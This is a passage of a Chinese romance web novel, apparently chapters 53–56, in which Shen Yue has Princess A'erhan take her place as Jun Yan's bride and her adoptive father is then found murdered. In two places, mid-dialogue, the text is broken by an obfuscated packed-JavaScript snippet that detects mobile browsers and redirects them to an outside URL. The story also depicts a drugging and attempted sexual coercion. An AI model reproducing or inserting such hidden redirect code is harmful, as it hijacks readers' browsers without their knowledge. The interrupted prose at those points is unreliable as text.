“你要真想找他就不会自己来逛街了。”他跟近她两步,忽然一笑:“看来你确实没和他有约。” “……你,”她这时候才反应过来,“好啊,你刚才套我话!” “谁让你那么不经诈?” “你、你简直和这个面具上画的狼一模一样!”她恼得指他面具道:“又凶,又呆,又狡猾,又坏!” “你也和这只兔子一样,”他笑得愈发柔和,带着几分宠溺,像个得了便宜的小孩儿一样,“又可爱,又傻,凶起来跟没凶一样,最终只会被狼吃掉。” “……你!”她自然是听懂了他的弦外音,一时脸红了,却又在这时想起了那张新的喜帖。 “对了,正好我也有事要和你说。” “说吧。” “你不必再娶我了。”她平静下来道:“我也不会再嫁你了。” 阿爹阿娘还活着,她与他之间的仇恨,也算是消弥了一半,从前的那些她能劝说自己不再计较了,因为他已为了救她愿付出性命的代价,或许这能与他从前的薄情相抵消。为他医治的这两个月她的心态发生了一些变化。折腾了这么久,她在此刻或许已经决定听从阿娘的话,放下了…… 君琰脸上温暖柔和的神色一下子散了,变得冷彻下来。 “我们之间,也就这样了吧。”她认真地说,“从今以后,你还是景王、九爷,我还是沈小姐。至于洛夭夭,你便当她真的死了,这样对你、对我,都好。” “真的好吗?”他看着她,忽从眼中又流露出了那种霸道之意,“可惜这不成。” “……怎么不成?” “你我之联姻是早就定好了的,数次不成是因意外,但婚约并未作废,星月阁若是悔婚,便是不守信用,我,会昭告整个江湖与之为敌。” “你!”她瞪大眼睛。 他的语气里带着几丝漫不经心:“沈因初对你有恩,你应该不想给他添麻烦吧。” “……君琰,”她深呼吸了几下,竭力平复下来心绪,“我还是看错你了。” 她方才对他说的话都是并不容易的坦诚之语,却不想他还是会一如既往地逼迫于她。 “看错?” “我以为你到现在,应该会想明白了,可没想到,你依然是个疯子!” “不只是疯子,还是赌徒。”他拽住她的一只手,目光灼灼:“我赌你,何时愿意原谅。” 她直视他:“若是到了阴曹地府也不能呢?” “那便……三生七世,永坠阎罗——只要,夭夭高兴。” 53. 如愿 “疯子。”她回避了他的眼神,小声嘟囔一句,就拼命挣脱开他的手跑开了。 他为什么这么执迷不悟呢? 不能强求的事,偏要强求。 她这样想。 各地的团圆节,风俗上略有差别,但大部分是一样的,比如看花灯。 君朝雨正穿便服走在大街上,旁边跟着一戴帷帽的女子,不是被人,却正是赫连雪。 “燕国除了我和六妹没有适龄的公主了,若谴其他宗室女子来又是没给够你们楚国面子。朝雨,你除了我没得选。” 两人说话的声音不大,刚好能够让对方听到。 “也可以让你嫁给朕的兄弟。”他仍是说。 “不会了。”赫连雪莞尔一笑。 君朝雨心生不祥之感,“为什么?” “因为我和他们打过招呼了,谁要娶我,这辈子就只能有我一个女人,得立下血契,被我种下血蛊,日后如若违契,便要被血蛊反噬,受万箭穿心之痛。” “你……”他愕然看向她。 身边的女子还是一派云淡风轻温和的模样,丝毫不像是一个能下狠手的人。 “他们若要娶我,便得答应这个条件,可我对你不一样。我嫁给你无需任何条件,你日后还可以娶别人,也可以不让我有后。你,明白了吗?” 他默然良久。“雪儿,你这又是何苦?” “嗯?雪儿?”上一回他这样叫她,还是十年前分别的时候。 “你实在不必如此费心地要嫁给我,嫁给其他王爷做正妃,对你来说要好得多。” “好不好不是由你说了算,是我自己说了算。我若真心喜欢一个人,是可以为了他做出一些退让的,反之如果我不喜欢,即便是做正妃,受无上荣宠,我也是不愿意的。” “可这个退让有些大了。雪儿,我不是不愿娶你,而是不想这样委屈了你,你当真不明白我的真实想法?” “原来你是在为我想啊……”她漂亮的眼睛里有一瞬动容。“可是,我们别无他法了。”两人已走到人烟稀少处,她逼着他三两步走到了墙角,“谁让在你心里国家要比我重要呢?” 眼前女子媚色撩人,狐狸般的一双眼睛,狡黠地盯住他,熠熠闪光,一时让他满脸的燥热。 赫连雪生若琳琅,带着些许的伤感与不平:“十年前你是皇子,你拒绝了我,现如今你是皇帝,还是要拒绝我。连娶一位自己喜欢的女子都不能做主,你这个皇帝,当真做得有意思么?” 此番场景,若是换做其他人早已把持不住…… 君朝雨抬手正要擦汗,赫连雪拦下了他的手,呵气如兰:“我来。” 她拿出一方干净的小手绢,从上至下,替他慢慢地、一点一点地擦去汗珠…… “瞧你,这就紧张了。我还没说什么呢。” 君朝雨闭了闭眼,不再看她,定下心来道:“那我问你一句,你要如实答我。” “你问吧?” “若你真嫁给我了,日后燕楚发生冲突,你帮哪边?” “这个嘛……”她笑了笑,忽然说:“诶,你为什么闭着眼睛?” “你先回答我。”他仍没有睁眼。 “哦。”她停了停,“我以为这并没有什么好问的。燕楚联姻,本就是为了和平,我想两国会相安无事,这也是我们最愿意看到的。退一步说,就算两国发生冲突,那我自然是……帮你。” 他等她的最后两个字,等了许久…… “可燕国对你来说也很重要不是吗?” “自然是重要的。但是,你更重要啊。”她笑看着他,“这就是我的真心话,朝雨。现在你可以把眼睛睁开了吧?” ……他无奈睁开了眼睛。 明媚如星的一双眸子,正笑意盈盈地看着他,温柔缱绻至极。 正准备开口,她抢先了说:“你担心的所有我都可以做到,现在该我问你了,你也能做到吗?” 那样美丽的一双眼睛,大概是世间最薄情的人,才会忍心辜负。 他自认不是个薄情的人,可是这个问题…… 她既已对他坦诚,他便也该对她坦诚吧。 “对不起,雪儿,”他听出了自己语气中的颤抖,“如果换了我,可能做不到。” “……是吗?”她漂亮的眼眸里染上了一丝哀戚,“果然,是我太过奢求了……” “所以我一直说,若让你嫁给我为妃,是会委屈了你的。” 她似乎思考了一会儿…… 倏然间,眼眸又重新亮了起来,“你就是一直在担心这个,才会一直拒绝我!可是,没关系的,朝雨,真的没关系!” “嗯?”他不解地看着她。 “你可以选择你的国家,可以永远不选择我,但是我永远会选择你。”她真诚地看着他,“并不为别的,只因为我心甘情愿。” 他快要喘不过气来了,别过脸,耳根已经通红,“有那么多人喜欢你,你却非得是我……我不值得,真的不值得。” “情愿比值得更重要。”她说着,声音微冷了下来,但仍是轻柔之至:“该说的我都已经说了,其他王爷是不可能娶我的了,六妹那里也成不了。你若不答应,燕楚联姻不成,就等着开战吧。我虽诚心求和,但如果事情闹成这个样子,燕国也并非打不起仗。” “……” 君朝雨缓了缓,一扭头喊:“雪儿!” 原地却哪里还有她的身影?那仙子一般的人儿,在方才说完话后,便飘然远去了。 为什么会有这样美、这样好的一个人这样喜欢他呢?他总觉得是陷阱。可转念一想,十年前的离别就在眼前,往昔那一瞬的美好这些年一直留存在他们的记忆中,亘古难灭,他又为何要用其他的心思来揣度这份感情? 联姻……哈,联吧,联吧! 浑身的血液忽都舒畅了起来……一件让他苦恼了许久的事情,在今夜云开雾散,找到了答案。 赫连雪回到驿馆,没干别的,却是先去找阿尔汉。 “长公主,奴婢死罪!”侍女们已经跪了下来。 “这是怎么了?” “长公主,阿尔汉公主趁奴婢们不注意跑走了!” “什么?!”赫连雪脸色一变,“什么时候发现的?” “奴婢们一个时辰前刚发现的……还有,上一次见到公主是晌午了。” “那 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“长公主今日之行可还顺利?楚国皇帝……答应了吗?” “没有。”她笑了笑,“不过他会答应的,你信吗?不出三日内。” 两天后,燕楚联姻人选已定—— 楚国君王,与燕国长公主。 择日联姻。 消息很快就传遍了大街小巷……百姓们茶余饭后,又有了可供聊天的素材。 郎才女貌,才子佳人,也算是天造地设的一对。 “我要一件这样的嫁衣。”赫连雪坐在书桌前,花上三日,认真绘制了新娘与新郎礼服的精美设计图,“王嬷嬷,回头帮我把这张图送给楚国陛下。” “是,长公主。” 燕楚联姻人选已定,消息传到江浙的时候,阿尔汉正好抵达。 她没有和长姐玩“灯下黑”,也没有按部就班地走大路南下,而是找了可靠的人帮忙。长姐聪慧,自己要玩什么小把戏是逃不过她的眼睛的,必得另辟蹊径…… 听说,君琰就要第四次娶沈月了…… 她恨的牙痒痒! 为什么,凭什么?君琰难道是有什么特殊的癖好,专喜欢和不爱他的人在一起么?放着自己这么好的人不要,又是怎么想的? 她已经迫不及待想要见到他质问个清楚了。 只是,九公子亦并非容易见到的人。 哪怕她是燕国公主,对方也不是她想见就能见的。 一连碰壁三次,她忽然想到了沈月那里。 君琰暂时见不了,沈月那里大概会容易一些。星月阁,哼,算个什么东西! 新娘嫁衣,君琰已差人送来了。精美繁复的一套,整整齐齐放在沈月的房内。 她的目光,有几许哀愁…… 慢慢地,终于落在了新娘嫁衣上。 那目光与前几次的不同。前三次嫁他,她都是本着报仇的心思,并未好生看过那红嫁衣一眼。 新娘子穿上嫁衣,应该是这一生中最好看的时候。 可惜…… 她不知怀着怎样的心思,在屋内为自己穿起了那大红嫁衣。 54. 交易 镜中人穿上嫁衣的样子很美,比以往任何时候都要美,她看着镜子,目光里有几分欣赏,开始悄悄想象自己嫁人时的模样……在万众祝福中走向那个要白头到老的意中人……应该是开心的?感念的?满怀期许的? 都说新嫁娘是最美的、最幸福的,可那种幸福她未曾感受过,也似乎已经失去了感受它的能力。 若是从前的她,又怎能想象,这已经是自己第四次穿嫁衣了。 嫁衣是美丽而隆重的,代表着某种圣洁的托付,却被她用来报仇了。万众祝福她不曾要,白首到老也不曾期许,只要向他报复。 以君琰现在的样子,或许他愿意对她好了,可是…… 她霍地站了起来。 不,夭夭,你不能嫁给他……你怎么能嫁给他? 哪怕没有阿娘的那番话,她也知道,他们之间仍有血仇,就算现在她对他的情绪稍有缓和,也不代表她就能接受嫁给他了。最多,就是不再在嫁他那天捅他了而已。 一拍两散各自天涯,应该是两人最好的结局,再两相折磨下去,大概不会有什么结果,不互相伤害就很好了,为什么他就是不肯退让呢?为什么偏要如此执着于自己呢?又为什么这份执着,不在她心死之前? 如此美丽的新嫁娘,今生大概不会属于任何人了。她看着镜中的自己,不无惆怅地想。 ……那就属于自己吧! 自己属于自己。 洛夭夭,夭夭…… 桃之夭夭,灼灼其华,之子于归,宜其室家。 这个名字原是对她最美好的祝福,到头来却成了一个反讽。 她看着镜中人儿苦涩一笑,转身,正欲脱下嫁衣…… 耳边忽传来异响,抬头一看,一个人影从窗户跃了进来,转瞬一把小刀抵在她脖颈! “下人们都被我放倒了,听说沈阁主也出去了,沈月,这回没人来救你了!” 这熟悉的声音——是阿尔汉公主! “你……”刀抵得她动弹不得,“你想干什么?” 阿尔汉看着她一身红嫁衣就觉得碍眼,冷笑:“你觉得呢?沈大小姐,本公主记得没错的话你就要第四次嫁给他了吧,这一次你又准备怎么对他?你的脸呢?” “这与你无关。” “我喜欢他!”阿尔汉尖着嗓子道:“却看着他一次次被你嚯嚯,这一次,我要帮他永除后患!” “你要杀了我?” “没错!” “哦。” 阿尔汉讶于她的面不改色,“呵,你不害怕?” 沈月从容道:“害怕你就能不杀了吗?” “呵,当然不。你若是害怕求饶,我必然杀你。可你竟然不怕,这倒让我有些兴趣了。” 阿尔汉没下重手,只是手里拿着刀,环绕着她走了起来,刀片轻轻在她脖颈处划过一道弧形的血迹。“我就是搞不明白,他到底喜欢你哪里?!” 等了一会儿见她不答话,阿尔汉又失了耐心,“问你话呢!” “无可奉告。” “你不能说点别的吗?!”她忽看上了她的红嫁衣,“你还是想嫁给他的吧?不然为什么试衣服?真是个虚伪的人!” “我并不想嫁给他。” “胡说!” “我不仅不想嫁,还在想这一次应该怎么面对……正好,公主你来了。”她目光幽幽,忽心生一个主意,“公主,你真的想嫁给九公子?” “废话!” “那好。”她笑了笑,“我们做个交换怎么样?” “什么交换?” “你先把刀放下。” “……休要耍诈!” “公主,你的武功远胜于我,下人们又都被放倒了,你随时都可以杀了我,我还耍什么诈呢?” 阿尔汉想了想,这才放下刀。“那你倒是说来听听!” “很简单,我们各取所需。”沈月道:“你答应现在饶我一命,并以后不再来找我的麻烦,我便——让你代替我,嫁给景王。” 阿尔汉的眼睛睁大了,显然来了兴趣,“你这个主意倒是不错!” “是吧?”沈月幽幽笑着:“只要你替我嫁了,礼成之后,他便是想甩你也甩不掉了。” 对方闻言心情更是雀跃,瞬间没了杀意,“那你倒是说说,怎样让我替你而不被发现?” “这个简单。”她上前对她附耳几句。 阿尔汉的眼睛更亮了,“这样好,就这么办!那你到时候可不准反悔!” “定然是不悔的。” “不过我还是不明白……你们之间到底是怎么回事?” “实不相瞒,他喜欢我,但我与他有仇。所以公主你放心,我这辈子,都不可能嫁给他的。”沈月趁机接着道:“身份、地位都能与他相配的,只有公主你。到时今上与贵国长公主、公主您与景王殿下两对佳偶天成,燕楚结百年之好,自是好上加好、万民祝福,乃两国百年第一盛事也。” 阿尔汉被她一番话说得心花怒放,神色一下子和方才截然不同了:“没想到你还是个知趣的!嘿嘿,之前是我态度不好,你别放在心上!这回我若能顺利嫁给他,你这个朋友,我交定了!” “在下何德何能可以和公主做朋友,不敢当。我这么做,既是为了成全公主一片痴心,也是为两国大局想。其实景王这个人并非完全不通情理,公主既这般倾慕于他,假以时日,相信他能够懂得您的真心。我们中原有句古话,叫‘精诚所至,金石为开’。” 沈月越说越上头了,心中情绪复杂,嘴上却莫名流畅……阿尔汉若有所思地颔首,“‘精诚所至,金石为开’……噢。” “我的这套嫁衣,到时还得给公主穿上,我看我们身量差不多,应该刚好合适吧?”她看了眼外头的天色,“时辰应该不早了,公主迷倒阁中下人,药效有多久?” “大概不到半个时辰吧……” “哎呀,那您得快点走了,不然若是给人发现,我们这件事就没法做了。” “噢!”她如梦初醒,赶忙开溜,跃出窗户还不忘回头笑道:“那你一定要记得啊,别忘了约定的时间!” “公主小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044515|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 阿尔汉走了。 屋内又变得空荡荡的,她自顾自把嫁衣脱了下来叠好,换上自己的常服……过了一会儿,她听见静儿的声音:“小姐恕罪!奴婢刚才不知道怎么就睡着了。小姐有什么要吩咐的吗?” “哦,没有。”她仍站在嫁衣跟前。 静儿察言观色,“小姐要试嫁衣吗?” “不用了。”她的神色淡淡的,语气也淡淡的,静儿见她似是情绪不佳,也不再多问,只是忽然想到了上次团圆节逛灯会时候买的两只面具,便回头拿了出来,问:“小姐,这两个面具还要吗?” 沈月扭头看过去——一只大灰狼,一只小兔子。 脑海中一时浮现出那夜他将她逼到角落时的样子,那时他说—— “三生七世,永坠阎罗——只要,夭夭高兴。” 静儿见她发怔,不敢轻易走开,只是一直等在那里。 看小姐的神情应该是很喜欢这两个面具吧,可是为什么她半天都不说话呢? 大灰狼不知道,一旦他真的毁掉了小兔子某些视若珍宝的东西,无论日后再怎么弥补,他们之间都回不到最初的样子了……可他还是想吃掉兔子,因为不吃的话,他就会死。 “哦,扔了吧。” ——静儿等了许久,却是听见这样一句。 小姐淡然地转身去了窗边,看着外面的夕阳,没有再说别的。 沈月也不知自己方才的做法,到底是对是错…… 一部分原因是为了保命,那个阿尔汉公主方才是真的有可能杀了她。另一部分原因呢? 君琰要是发现新娘被换成了别人,一定会气死的。这算不算是又在报复他? 说了要与他两清的呢?不再纠缠的呢? 却原来,自己也做不到吗? 她的脑中乱乱的,现在无法理解他为什么不喜欢容貌美功夫好地位高的阿尔汉公主,过去也无法理解他为什么要以利用自己为代价去讨张王妃的好。从始至终,他对她来说都像一个难解的谜,她总觉得他还有很多事没告诉自己,哪怕他现在对她已经足够讨好,讨好到已经让他变得有些面目全非了…… 不过那人骨子里也还是从前的他,霸道,傲慢,喜欢强人所难。 君琰,你既说要执念于我一直到死,这一次我倒要你用实际行动来向我证明……你的话,究竟是真是假。 从前我太相信你了,你说什么我就信什么,现在再想让我信你,没那么容易了,你所有那些天崩地裂的誓言,都要在我面前兑现到行动中,我便考虑勉强信上你一两分。若做不到,你我各自东西,我绝无留恋。 婚期将近…… 君琰此刻还在另一边琢磨着沈月的心思,并不知钦差此刻正从京城南下而来,赶往他所在的位置。 现在她对他已经不那么抵触了,还为他医治了两个月,所以这回应该不会再像前面三回那样了……嘴上说什么要两清,他却不信她当真舍得!总之,只要她还愿意给他机会,他必将全力以赴,讨她的好。 ——他心甘情愿。 55. 四嫁 这是他第四次娶她了。 这一次的嫁衣是新定制的,之前的不要了,他想和她有一个新的开始。 牵了她的小手,偏过头贴着她的耳朵,讨好般道:“好夭夭,这一次放了我吧。” 新娘没有说话,他笑得愈发宠溺,将她的手拉得更紧了。拜过天地高堂,入洞房…… 新郎官笑着走过来。 另一边,沈月正坐在凤仙楼上吃酒看风景。面前摆着几个小菜一壶酒,楼下很热闹,方才她看到送亲车队长长的,两边站满了很多围观的人,便这样旁观着“自己”的婚礼,一面喝着酒。 “小二,结账。” “来喽客官!”小二满脸堆笑地走过来了,“今儿不用结账,这钱您收回去吧。” “哦?为何?” “客官不知道吗?今儿九公子娶妻,凤仙楼所有客人的账他包了,嘿嘿嘿。” 沈月抬了抬眉,收回了银子。“真有钱。” “可不是吗?如今这里最有钱的贵人就是九公子和沈阁主了。”小二低着声音,两只乌黑的眼里透着精明,“看姑娘的样子像是从外地来的吧?害,你是不知道。也不知是怎么回事,九公子对沈阁主那女儿青睐得很,却娶了三次都没娶成,如今已经是第四次了。” “……” 怎么她宅家不出门太久,都能被人以为是外地的了么? 笑了笑道:“恐怕是这两人不相配吧。” “诶,这你可说对了!”店小二一脸八卦的样子,热情说与她听:“听说他两人八字相冲,九公子却为了娶她,硬是行贿赂,逼别人说是八字相合,你看看,这婚嫁大事,怎可如此胡来?” “还有这等事?” 她之前并没有很关心这个,也不是很信八字,如今一听倒是有些好奇了…… “可不是,有算姻缘的说,他两人是八字相冲,命格也相冲,若定要在一起,必然是个不死不休,这不,已经给他言中了。”店小二道:“不过客官,你知道这些可千万别在外面说,要是给九公子的人听见了,可有你好看的。” “哦?九公子不喜欢听人说这些?” “那是自然的啊!听说九公子那儿只要有人想讨他的好,就得说他和沈月相配,呵呵。” “也可能他是不信这些,未免落人口舌,便叫那人改说是八字相合。不过我更好奇的事,沈月一个姑娘家能把九公子怎么样?我虽不是本地的,可九爷声名如雷贯耳,我多少也听说过他的事迹,他可不是个好惹的主。” “再不好惹的主也有克星呀,我看呐,这沈小姐就是上天派来克他这魔头的!”店小二说至此蹲了一顿,“客官等等,我去给你拿个好东西看。” 转头拿了一个话本过来。 “这是……”她疑惑地瞅着,封面上“如何拿下大魔头”几个字映入眼帘,再翻开,里头竟是以她和他为主角的姻缘故事,文字旁边还配有插图。 “不瞒你说,我怀疑这本书的作者也是他们身边的人哩,不然有些事怎能写得那样清楚?” 她疑惑地看了看,先从第一章快速翻到了第十章,看到作者写自己对君琰说“第八次我就嫁给你”时,简直哭笑不得…… 都编的什么胡话,这辈子她都不可能嫁给他的好吗? 还有这里头一些肉麻的情话,看得她简直要犯尴尬,“啪”地一下将书合了起来。 “客官?”小二满以为找到了一个适合分享八卦的对象,却没想到她好像有些不高兴。 沈月觉察到他的反应了,即刻打圆场般笑了笑:“我是看这本子写得太好,若是被本尊看见了,那写书的不得遭殃了吗?所以得保护好才对,喜欢的人自会来买。” 小二即刻也笑了,脸上像开了朵花一般灿烂,“是呀,是呀……其实不瞒你说,嘿嘿……” 沈月眼睛睁大了,已经预感到他要说什么话…… “嘿嘿,这个话本的作者,就是我老婆。” 沈月:“……” “嘿嘿。客官,你若是喜欢的话,这一本就送给你了,不用谢。” “好吧,那我带回去做个纪念。”她起身准备走了。 店小二一头雾水。“留作纪念?” “嗯。”她应了一身,转头悠然道——“我是沈月。” “啊?!?” 店小二张大了嘴巴,“这这这……沈、沈小姐?可是你今天不是该出嫁的吗?” “这就是你话本上没有的内容了。”她摆弄了一番那个本子,“尊夫人的文辞很好,情节也还生动,虽然与事实情况一字不符,但也不失为一个好看的故事。” “沈、沈小姐!在下刚才有眼不识泰山,在下……”店小二跪了下来,背上冷汗直冒,预感自己今天要完了…… “怕什么?我又没说啥。能被拿来给大家编乐子也算是本小姐的功德了。你就当今天没见过我。”说罢,拂袖而去。 另一边,君琰掀开了新娘的红盖头…… 看见盖头底下那人的一刻,他嘴角的笑容瞬间消失了! “沈月呢?!” 他即刻抓起眼前人胸前的衣服,把她拽了起来! “你……君琰!怎么能这么对我!” 阿尔汉不易一个人前后可以转变得这样快,方才牵着她手时还是那样轻柔,她以前还从未见他这么温柔过,这便是他对沈月的独一份么? “你放我下来!”她挣扎着,对方不为所动,“说,她在哪?!” “呵,”阿尔汉瞪着他,故意道:“被我杀了!” “胡说!” 他不再抓她的衣领,而是一手卡住她的脖子,抬手向上,将她整个人都悬了起来。阿尔汉的两只脚在半空胡乱扑腾,两手捂着脖颈处他的手所在的位置,即刻感觉自己快要死了! “马上说出她的下落,不然我杀了你!” “你就这么关心她?今夜,我才是你的新娘!”她挣扎着说。 “定是你将她调换了!” “哈,哈哈哈哈哈!”阿尔汉忽笑了起来,“君琰,原来你和我一样,也是个可怜虫!” 他松开了手,她“轰”地一下摔在地上,趴在他脚边,咳个不停。 “——马上说!” “哈……”阿尔汉一边喘着气,一边抬眼看他,“你以为是我将她调换的?我又何必做得这么麻烦,直接杀了她就是了!你还不知道吧…… 让我替她前来嫁你,正是她自己的主意,此时此刻她在哪儿我也不知,但是肯定在看你的笑话!君琰,你已经娶她第四次了都不成,你就是个可怜虫,没人要的可怜虫!” 他一时间差点背过气去…… “你在说谎!” “我为什么要说谎?”阿尔汉尖起嗓子道:“她对你是什么态度你自己不清楚吗?!她想不想嫁给你哦?一厢情愿的可怜虫!我顶替她,她感谢我还来不及!” 君琰一怔。 夭夭若真这么做,还不如上回直接给他一刀! 为什么,到底为什么要一直这么对我…… “你对她爱而不得,我对你爱而不得,你为什么不回头看看我呢?!”阿尔汉缓过气来,慢慢站起,眼里尽是得意的笑容:“我们方才已拜过天地高堂了,依的都是你们中原的礼,现在也算是礼成,不管你认不认,现在我都是你的王妃了!” “本王和沈月早已拜过两次天地高堂。无论何人,只要本王不认,她就不是王妃。”君琰此时稍稍平复了一些情绪,他开始思量…… “可在外人眼里不是这样啊,你早应该有妻子了!君琰,你到底是对我哪里不满意?!” “哪里都不满意。”他指向门口,冷淡的语气里压着气愤:“出去!” “什么?!” “若不自己出去,本王便叫人请你出去。” “你敢这么对我!?大婚之夜,新娘被新郎赶出洞房?我是燕国公主,我长姐可是马上就要嫁给你们皇帝了,大喜在即,你敢在这个节骨眼上节外生枝?就不怕影响到两国关系,你们皇帝降罪于你?!” 君琰冷笑一声,“一个从不考虑两国关系的公主,对她的国家来说也没有什么价值。退一步说就算如此,燕国只管兴兵前来,本王不惧一战,定将尔等扒皮彻骨!” “你……!”原打算和他“好好相处”的阿尔汉,此时此刻已几近崩溃的边缘…… “君琰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056158|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你最好是祈祷,千万不要落在我的手里!”她抬手指向他——许久后,他眼前视线忽然模糊了起来,身上开始疲软…… “呵,”阿尔汉这时笑了,走近他,抬手搭上他的肩膀。 这屋内早就被她点好了迷情香,藏得极是隐蔽,眼见此时香终于起了效果,她的胆子也跟着壮了起来,再不担心他会反抗。“现在便给你这个机会,好好伺候本公主!” “你……”君琰已经意识到了什么,身上的力道却被抽走了似的,阿尔汉抓住机会一把将他扑在榻上,抬手便要为他解衣…… “顺从,才有出路。你现在可是一点儿反抗的能力都没有了。与本公主行过周公之礼,再看你还有什么话说!本公主要的便是臣服,不论你是自愿的还是被逼的,我都无所谓!” 君琰整个人变得浑身无力,眼睛仍吃力睁着一条缝,不允许自己就此睡去,抬手,摸到了一把短匕,忽趁她不备,用尽了力气“哗”地一下,狠狠朝自己手臂上划去! “啊!”飞溅出来的鲜血溅到了她脸上,阿尔汉一瞬别过脸,君琰手臂上留下一道血淋淋的伤口,疼痛感顿时让他清醒了几分,抬手,以迅雷不及掩耳之势将她推了出去,随后跌跌撞撞地起身跑向门外…… 阿尔汉跌坐在地上,这一下给她摔得差点起不来。这可是燕国最厉害的迷情香,任凭意志力再强的人也招架不住,为什么对他的效用却是这样?!她颜面尽失地坐在那里,眼中是掩不住的失望和愤怒。 “——来人!” 无殇和陆云闻声进来了,一见现场只剩新郎一人,便知道又出事了。 “公子,怎么了?” “新娘被换了,我现在即刻去找沈月!”说完指向身后的阿尔汉:“还有,把这个赝品物归原处!” 他脱下外层喜服,换上惯常穿的外衣,拿上宝剑才刚走到门口…… 玉冰忽然急匆匆地跑进来,“公子,宫里的人来了!” “圣上口谕——” 公公尖细的嗓子一路穿过了庭院…… “燕楚联姻在即,燕国昭华长公主一月后将嫁与朕为妃,百官亲王皆要到场观礼,九弟自幼与朕亲厚,于公于私都得前来,令你大婚后即刻启程返京,一月后准时参加观礼。” …… “臣弟……领旨。” 皇兄还挺体贴的,特意说了“大婚后”再让他启程。可这一次,他还是没能娶得她…… 天上飘起了细雨,他走到大街中央,向着星月阁所在的方向,悲然望去。 那里有他此生最向往的人。 从前她陪他日日夜夜都待在府中、许诺他生生不离的时候,他从没想过有一天,娶她过门竟会成了这样遥不可及的奢望。 玉冰劝着他:“公子,陛下只给一个月的时间,您得骑赤兔马,不眠不休才能赶到啊,还是快些启程吧,别再为旁的事耽搁时间了。燕楚联姻、皇上娶妃,是目前最重要的一桩事,若耽搁了,公子担待不起啊!” 看来是没法再去找她一次了。 夭夭,等我回来,再向你问个清楚…… “驾——!” “他走了?”另一边,沈月在房内看着下人递上来的情报。 “走了。”静儿说。 “走了好……” 她笑着,眼睛里却笑出了泪花,声音极轻—— “望他从今往后,都不要再下江南了。” “小姐,这是您要的金丝线。”静儿将采买来的东西放在桌上。 “嗯,就是这种。”她拿起丝线,笑道:“义父外出,或许他会在下月生辰之前回来,我想亲手给他做件礼物。” “什么礼物呀?” “一件寿衣。我打算用金丝线绣《道德经》在衣服上面,义父崇奉道教,必然会喜欢的。” 静儿眼睛一亮,“这个心思可真妙,阁主收到过不少礼物,但还从未有过像这样的呢。” “义父每次出去都要给我带好多东西回来,这么久了,他待我恩重如山,我却没有什么可以回报他的。亲手做件礼物,也算是表表心意吧。” “只要是小姐做的,阁主一定都喜欢呢。”静儿笑着坐了过来。 56. 命案 君琰身在曹营心在汉。 人在京城,心系江南。 只是在他离开后的第二日,星月阁便发生了一件大事。 “夭夭妹妹,这个消息必须马上封锁起来,不然若被别有用心之人晓得了,星月阁会有大麻烦!”司云在沈月身边,劝她道,“沈阁主对你恩重如山,你也希望星月阁能好好的吧?” “嗯……你说得对,是应该封锁消息,来人!”沈月的眼睛已红成兔子了,她两夜未眠,一直待在这里…… 沈因初、君琰都刚离开不久后,沈月这里便传来了阁主遇害的消息。 沈因初没了! 乍闻此消息时,她大脑骤然一片空白,完全难以相信…… 那可是义父啊! 以义父那般武功和地位,为什么会遇害?又有谁有这个能力和胆子去害他?! 绣了一半的寿衣被扔在地上,手指头被扎了好几个针眼,她不顾一切地向事发地跑去。 此刻她正静静坐在棺木旁边的地上,许久都说不出一个字来,喉头堵得慌,眼睛也十分难受。 虽说有时她与义父看法不一致,但他毕竟是救她于水火的恩人,和阿爹阿娘、司云他们一样,是她如今在世上所剩不多的亲人了,老天,到底为什么会出这样的意外?! 她慢慢地站起来,看着棺木内那一具冰冷的尸-首。脑海中浮现出义父当初救自己时的情景,还有他临走前的样子……那样生动鲜活的一个人,一下子就没了,没得突然。 “夭夭妹妹,你都两天没合眼了,这样下去不行。”司云劝着她,“阁主在天有灵,也定不希望你这样。你现在最应该做的,是振作起来,查明凶手。” “是,凶手……”到底是谁,是谁…… 一味的颓丧是解决不了问题的,她悲痛的时间已经够长了,两天了…… 霍然站了起来。 “义父出行时身边都有暗卫的,他身边的人怎么样了?” 静儿匆匆地赶过来。“回小姐,两名暗卫、一名侍女都不在了。验尸结果已经出来了,小姐请看,这几个先遇害的,阁主是最后去的。从伤口来看,杀人者是个武功高手,直接一剑毙命。” “我去看看!”她拿了验尸单一阅,便去查看另外三名侍从的尸-首。 四个人的伤口都是一模一样的,脖子前后被对穿了两个洞,一击毙命。 “这一招叫‘飞鸟头林’,正如静儿所言,非江湖高手不可为。” 静儿道:“我们阁中如今能使这一招的不到十人,是从黑布组织那里学来的。此招开山鼻祖是青龙堂堂主姚寂。” 沈月心头蓦地一紧,“你是说,如今能使此招的,只有我们阁中这十人以及姚堂主那里的人?” “正是,主要是这两方。当然也不排除个别江湖顶尖高手,比如……” “先把这十个人给我找来,本小姐要一一审问!” 她控制好了情绪,坐在高处,拿出了少阁主的威势来,一一盘问过后,天色已晚,却没得出什么线索来。将这十人说的话与义父遇害当日的种种迹象结合起来看,在一番严格的调查之后,她发现这十人中有六人根本没与义父随行,另外三人当天被安排在另一处谈生意,还有一个因高堂过世直接回老家了…… 如果不是阁中出了内鬼,能有那般情报网拿到义父的行踪、下榻处,并算好时机对他下手的,就只有…… 不会,怎么能这样呢?这不可能…… “夭夭妹妹,休息一会儿吧。”司云给她倒了热茶。“你在想什么呢?” “司云哥哥……”她看着天花板发呆,“你说,这世上,会有人将同样残忍的事情,做上两次吗?” 